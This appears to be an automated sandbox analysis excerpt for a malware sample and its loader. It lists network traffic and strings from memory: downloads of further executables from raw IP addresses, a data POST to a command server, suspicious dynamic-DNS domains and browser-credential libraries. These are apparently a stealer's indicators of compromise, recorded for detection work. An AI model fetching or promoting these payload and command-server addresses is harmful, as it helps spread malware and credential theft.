Source: global traffic HTTP traffic detected: GET /inc/build_2024-07-25_20-56.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /7847438767.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 198.46.178.145Cache-Control: no-cache
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa
Source: global traffic DNS traffic detected: DNS query: 157.123.68.40.in-addr.arpa
Source: global traffic DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic DNS traffic detected: DNS query: vaniloin.fun
Source: global traffic DNS traffic detected: DNS query: arpdabl.zapto.org
Source: unknown HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDHDAFIDGDBGCAAFIDHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:27060
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/3405117-2476756634-1003
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/G
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000007.00000002.3354999318.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php00019001
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php3R
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php6323e228833c10fe3eb39f1caffb81382ae#xe
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpUsers
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpft
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded(1
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncodedZ1
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncodedy1
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpnu
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpzRm4SJjISZA3JNjZ64n0LR=
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000007.00000002.3354999318.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/build_2024-07-25_20-56.exe
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/build_2024-07-25_20-56.exeq
Source: axplong.exe, 00000007.00000002.3354999318.0000000000F70000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/server.exe
Source: axplong.exe, 00000007.00000002.3354999318.0000000000F70000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/server.exe9c5867ded
Source: axplong.exe, 00000007.00000002.3354999318.0000000000F70000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/server.exe9c5867ee8
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/server.exel
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/server.exey
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3363786257.0000000019010000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000607000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: http://198.46.178.145/7847438767.exe
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000607000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: http://198.46.178.145/7847438767.exenderbird
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355872691.0000000003FA0000.00000040.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2796849673.0000000003FD0000.00000004.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000400000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: http://64532127VdtSrezylanAPTHSymMatchStringInternetSetOptionAHttpQueryInfoAdbghelp.dllSetThreadCont
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.000000000056E000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: http://arpdabl.KFHJJJKKFH
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.000000000056E000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: http://arpdabl.zapto
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.000000000056E000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: http://arpdabl.zapto.
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.000000000056E000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: http://arpdabl.zapto.KKFH
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.000000000056E000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: http://arpdabl.zapto.org
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3363786257.0000000019010000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.00000000025D7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto.org/
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3363786257.0000000019010000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto.org/1/z
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.00000000025D7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto.org/s
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.000000000056E000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: http://arpdabl.zapto.orgH
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.000000000056E000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: http://arpdabl.zaptoJKKFH
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2996738117.000000001906B000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2996603846.000000001906C000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2996738117.000000001906B000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2996603846.000000001906C000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2996603846.000000001906C000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2996738117.000000001906B000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2996738117.000000001906B000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2996603846.000000001906C000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2996738117.000000001906B000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2996603846.000000001906C000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://ocsp.digicert.com0
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2996738117.000000001906B000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://ocsp.digicert.com0A
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2996738117.000000001906B000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://ocsp.digicert.com0N
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2996603846.000000001906C000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://ocsp.digicert.com0X
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2996738117.000000001906B000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: build_2024-07-25_20-56.exe, build_2024-07-25_20-56.exe, 0000000A.00000002.3461746311.000000006C2DD000.00000002.00000001.01000000.0000000C.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.10.dr String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3366592363.000000001939D000.00000002.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3373250365.000000001B8E1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199747278259[1].htm.10.dr String found in binary or memory: https://5.75.212.60
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2963897294.0000000019020000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/(
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/4
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/?
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2975271136.000000001901E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/AR
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/E
